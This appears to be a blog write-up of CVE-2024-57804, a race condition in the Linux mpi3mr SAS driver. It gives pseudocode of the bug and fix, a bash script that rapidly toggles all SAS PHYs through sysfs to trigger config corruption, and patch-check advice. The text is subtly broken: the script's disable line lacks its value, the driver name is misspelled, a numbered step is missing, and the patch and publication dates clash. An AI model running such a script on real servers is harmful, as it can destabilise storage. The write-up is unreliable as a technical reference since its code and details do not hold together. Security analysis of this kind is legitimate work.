In June 2024, a Linux kernel vulnerability was patched—CVE-2024-57804—which affected servers using SAS controllers, specifically via the mpi3mr SCSI driver. The bug allowed attackers (or even accidental power users) to corrupt SCSI hardware configuration by toggling SAS physical links (PHYs) rapidly through the sysfs interface. This post breaks it down, shows how the problem appeared in code, and gives a practical example to help you understand and protect your systems.

Background

SAS (Serial Attached SCSI) devices are common in datacenters and high-performance storage setups. Linux exposes an interface for administrators to enable or disable "PHYs" (basic data links) using files in /sys/class/sas_phy/….

The mpi3mr driver supports this, acting as a bridge between Linux and the hardware. Internally, it builds up "config pages" in memory when changing settings. But there was a bug…

The Vulnerability

The code reused the *same memory* for several important config requests (these are internal conversations with SAS hardware about what the hardware is doing). When multiple requests arrived almost at the same time (like rapidly switching links on/off), they trampled each other's data, potentially corrupting both the *current* configuration and its *persistent* backup.

Risk Summary

- WHO: Anyone with root/sysfs access.

WHAT: Could corrupt config state for SAS IO units or expanders.

- IMPACT: Potential for permanent config corruption, disruption of SAS links, or unpredictable storage controller behavior.

Old Problematic Code

In the old driver, disabling/enabling multiple PHYs quickly would reuse the same memory buffer for config pages.

// Pseudocode - simplified
struct config_page_buffer *buf = get_global_config_buffer(); // Shared buffer
for_each_phy(phy) {
    fill_config_page(buf, phy);
    send_config_to_hw(buf);
}

If multiple config changes happen at the same time, or asynchronously, buffers get overwritten before they're done being processed.

The Fix

The patch now allocates separate memory for each config request. This means each hardware request has its own safe buffer, so races no longer corrupt data.

for_each_phy(phy) {
    struct config_page_buffer *buf = kmalloc(sizeof(*buf), GFP_KERNEL);
    fill_config_page(buf, phy);
    send_config_to_hw(buf);
    // ...
    kfree(buf);
}

Reference:
- Linux kernel git commit (original patch)
- Red Hat CVE page

How Could Someone Exploit This?

While this isn't a remote exploit, it is exploitable by anyone with shell/root access, including inside a virtualization environment or container on a shared system.

Exploit: Race Condition Script

Below is a simple *exploit* in bash, rapidly toggling multiple PHYs. This can trigger config corruption on vulnerable kernels where the patch is not present.

#!/bin/bash
# Exploit for CVE-2024-57804: Rapid PHY toggling

PHY_DIR="/sys/class/sas_phy/"
for PHY in $(ls $PHY_DIR); do
    # Background disable/enable in parallel
    (
        for i in {1..100}; do
            echo  > "$PHY_DIR/$PHY/enable"
            sleep .01
            echo 1 > "$PHY_DIR/$PHY/enable"
        done
    ) &
done

wait
echo "All toggles done. Check dmesg for SAS/mpt3mr errors."

What happens: If the kernel is vulnerable, after running this script, the kernel logs (dmesg) will show SAS error messages, and config pages for your controller's SAS units might be corrupted, potentially destabilizing storage.

How Do You Know You're Protected?

1. Check your kernel version: Make sure it is 6.1.90, 6.6.30, 6.9.5 (or newer); these are patched.

*"scsi: mpi3mr: Fix corrupt config pages PHY state is switched in sysfs"*

3. Test for race: (CAUTION!) On a non-production server, try the script above; on patched kernels, you'll see no error logs or SAS corruption.

Conclusion

CVE-2024-57804 is a good example of how complex hardware drivers can be bitten by simple programming mistakes—like reusing memory—especially when exposed to the parallel world of sysfs and shell scripting.

Sysadmin tip: Always review kernel changelogs for storage/security patches, especially on hardware with direct user/program access to /sys.

Upstream patch:

Linux commit

Kernel security note:

Red Hat CVE-2024-57804 Details

Ubuntu Security Notice USN-6849-1


Practical lesson: Don’t underestimate the potential impact of code running with root permissions just because it “only” affects config pages or “just” a sysfs attribute!

Timeline

Published on: 01/11/2025 13:15:30 UTC
Last modified on: 05/04/2025 10:05:11 UTC